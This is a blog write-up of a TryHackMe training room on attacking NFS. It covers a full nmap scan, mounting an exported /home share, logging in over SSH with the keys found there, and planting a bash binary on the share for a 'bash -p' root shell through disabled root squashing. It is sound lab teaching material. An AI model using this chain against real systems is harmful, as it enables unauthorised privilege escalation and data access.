Network File System

https://tryhackme.com/room/networkservices2

NFS allows a system to share directories and files with others over a network. By using NFS, users and programs can access files on remote systems almost as if they were local files. It does this by mounting all, or a portion of a file system on a server. The portion of the file system that is mounted can be accessed by clients with whatever privileges are assigned to each file.

We don’t need to understand the technical exchange in too much detail to be able to exploit NFS effectively – however if this is something that interests you, I would recommend this resource: https://docs.oracle.com/cd/E19683-01/816-4882/6mb2ipq7l/index.html

First, the client will request to mount a directory from a remote host on a local directory just the same way it can mount a physical device. The mount service will then act to connect to the relevant mount daemon using RPC.

The server checks if the user has permission to mount whatever directory has been requested. It will then return a file handle which uniquely identifies each file and directory that is on the server.

If someone wants to access a file using NFS, an RPC call is placed to NFSD (the NFS daemon) on the server. This call takes parameters such as:

The file handle
The name of the file to be accessed
The user’s user ID
The user’s group ID

These are used in determining access rights to the specified file. This is what controls user permissions, the read and write permissions for files.

Using the NFS protocol, you can transfer files between computers running Windows and other non-Windows operating systems, such as Linux, MacOS, or UNIX.

A computer running Windows Server can act as an NFS file server for other non-Windows client computers. Likewise, NFS allows a Windows-based computer running Windows Server to access files stored on a non-Windows NFS server.

More Information:

Here are some resources that explain the technical implementation, and working of, NFS in more detail than covered here.

https://www.datto.com/library/what-is-nfs-file-share

http://nfs.sourceforge.net/

https://wiki.archlinux.org/index.php/NFS

Time to nmap scan aggressively on all ports

nmap -A -p- {IP_ADDRESS}

Mounting NFS shares

Your client’s system needs a directory where all the content shared by
the host server in the export folder can be accessed. You can create
this folder anywhere on your system. Once you’ve created this mount point, you can use the “mount” command to connect the NFS share to the mount point on your machine. Like so:

sudo mount -t nfs IP:share /tmp/mount/ -nolock

Let’s break this down

Tag Function
sudo Run as root
mount Execute the mount command
-t nfs Type of device to mount, then specifying that it’s NFS
IP:share The IP Address of the NFS server, and the name of the share we wish to mount
-nolock Specifies not to use NLM locking

sudo nmap -A -p- 10.10.246.207

Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-07 23:03 UTC
Nmap scan report for 10.10.246.207
Host is up (0.18s latency).
Not shown: 65528 closed ports
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 73:92:8e:04:de:40:fb:9c:90:f9:cf:42:70:c8:45:a7 (RSA)
|   256 6d:63:d6:b8:0a:67:fd:86:f1:22:30:2b:2d:27:1e:ff (ECDSA)
|_  256 bd:08:97:79:63:0f:80:7c:7f:e8:50:dc:59:cf:39:5e (ED25519)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      34607/tcp6  mountd
|   100005  1,2,3      36463/udp6  mountd
|   100005  1,2,3      45031/tcp   mountd
|   100005  1,2,3      59344/udp   mountd
|   100021  1,3,4      37701/udp   nlockmgr
|   100021  1,3,4      38245/tcp   nlockmgr
|   100021  1,3,4      42146/udp6  nlockmgr
|   100021  1,3,4      45009/tcp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
38245/tcp open  nlockmgr 1-4 (RPC #100021)
40005/tcp open  mountd   1-3 (RPC #100005)
45031/tcp open  mountd   1-3 (RPC #100005)
60313/tcp open  mountd   1-3 (RPC #100005)

Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT       ADDRESS
1   62.85 ms  10.13.0.1
2   ... 3
4   198.11 ms 10.10.246.207

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 442.85 seconds

Then we do some more terminal business:

/usr/sbin/showmount -e 10.10.246.207

Export list for 10.10.246.207:
/home *

sudo mount -t nfs 10.10.246.207:/home /tmp/mount -nolock

cd /tmp/mount
ls -al

total 12
drwxr-xr-x  3 root root 4096 Apr 21  2020 .
drwxrwxrwt 16 root root 4096 Mar  7 23:13 ..
drwxr-xr-x  5 kali kali 4096 Jun  4  2020 cappucino

cd cappucino
ls -al

total 36
drwxr-xr-x 5 kali kali 4096 Jun  4  2020 .
drwxr-xr-x 3 root root 4096 Apr 21  2020 ..
-rw------- 1 kali kali    5 Jun  4  2020 .bash_history
-rw-r--r-- 1 kali kali  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 kali kali 3771 Apr  4  2018 .bashrc
drwx------ 2 kali kali 4096 Apr 22  2020 .cache
drwx------ 3 kali kali 4096 Apr 22  2020 .gnupg
-rw-r--r-- 1 kali kali  807 Apr  4  2018 .profile
drwx------ 2 kali kali 4096 Apr 22  2020 .ssh
-rw-r--r-- 1 kali kali    0 Apr 22  2020 .sudo_as_admin_successful

Awesome, let’s use those SSH keys!!!!!

ssh cappucino@10.10.246.207

The authenticity of host '10.10.246.207 (10.10.246.207)' can't be established.
ECDSA key fingerprint is SHA256:YZbI4MCk+BQgHK2gc4cdmXuPTzO6m8CtiVRkPalFhlU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.246.207' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-101-generic x86_64)

Documentation:  https://help.ubuntu.com
Management:     https://landscape.canonical.com
Support:        https://ubuntu.com/advantage
System information as of Sun Mar  7 23:28:19 UTC 2021

System load:  0.0               Processes:           102
Usage of /:   45.2% of 9.78GB   Users logged in:     0
Memory usage: 16%               IP address for eth0: 10.10.246.207
Swap usage:   0%

44 packages can be updated.
0 updates are security updates.

Last login: Thu Jun  4 14:37:50 2020
cappucino@polonfs:~$

Not quite, if you have a low privilege shell on any machine and you found that a machine has an NFS share you might be able to use that to escalate privileges, depending on how it is configured.

By default, Root Squashing is enabled on NFS shares and prevents anyone connecting to the NFS share from having root access to the NFS volume. Remote root users are assigned a user “nfsnobody” when connected, which has the least local privileges. Not what we want. However, if this is turned off, it can allow the creation of SUID bit files, allowing a remote user root access to the connected system.

So, what are files with the SUID bit set? Essentially, this means that the file or files can be run with the permissions of the file(s) owner/group. In this case, as the super-user. We can leverage this to get a shell with these privileges!

This sounds complicated, but provided you’re familiar with how SUID files work, it’s fairly easy to understand. We’re able to upload files to the NFS share, and control the permissions of these files. We can set the permissions of whatever we upload, in this case a bash shell executable. We can then log in through SSH, as we did in the previous task and run this executable to gain a root shell!

Due to compatibility reasons, we’ll use a standard Ubuntu Server 18.04 bash executable, the same as the server’s as we know from our nmap scan.

If this is still hard to follow, here’s a step by step of the actions we’re taking, and how they all tie together to allow us to gain a root shell:

NFS Access
Gain Low Privilege Shell
Upload Bash Executable to the NFS share
Set SUID Permissions Through NFS Due To Misconfigured Root Squash
Login through SSH
Execute SUID Bit Bash Executable
ROOT ACCESS

Lets do this!

cappucino@polonfs:~$ id
uid=1000(cappucino) gid=1000(cappucino) groups=1000(cappucino),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
cappucino@polonfs:~$

Download this bash file…..

https://www.technoherder.com/Code/nfsBash

cd Downloads
sudo cp bash /tmp/mount
cd /tmp/mount
sudo mv bash cappucino/
cd cappucino
sudo chmod +x bash
bash

Switch terminals again and run the bash file

cappucino@polonfs:~$ ./bash
bash-4.4$ id
uid=1000(cappucino) gid=1000(cappucino) groups=1000(cappucino),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
bash-4.4$ ls
bash
bash-4.4$

Run that script to get sudo

bash-4.4$ ./bash -p
bash-4.4# cd /root
bash-4.4# ls -al
total 40
drwx------  5 root root 4096 Apr 22  2020 .
drwxr-xr-x 24 root root 4096 Jun  4  2020 ..
-rw-------  1 root root    0 Apr 22  2020 .bash_history
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Apr 22  2020 .cache
drwx------  3 root root 4096 Apr 22  2020 .gnupg
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   19 Apr 22  2020 root.txt
drwx------  2 root root 4096 Apr 21  2020 .ssh
-rw-------  1 root root 6124 Apr 22  2020 .viminfo
bash-4.4# cat root.txt
THM{ [REDACTED] }
bash-4.4#

Leave a Reply Cancel reply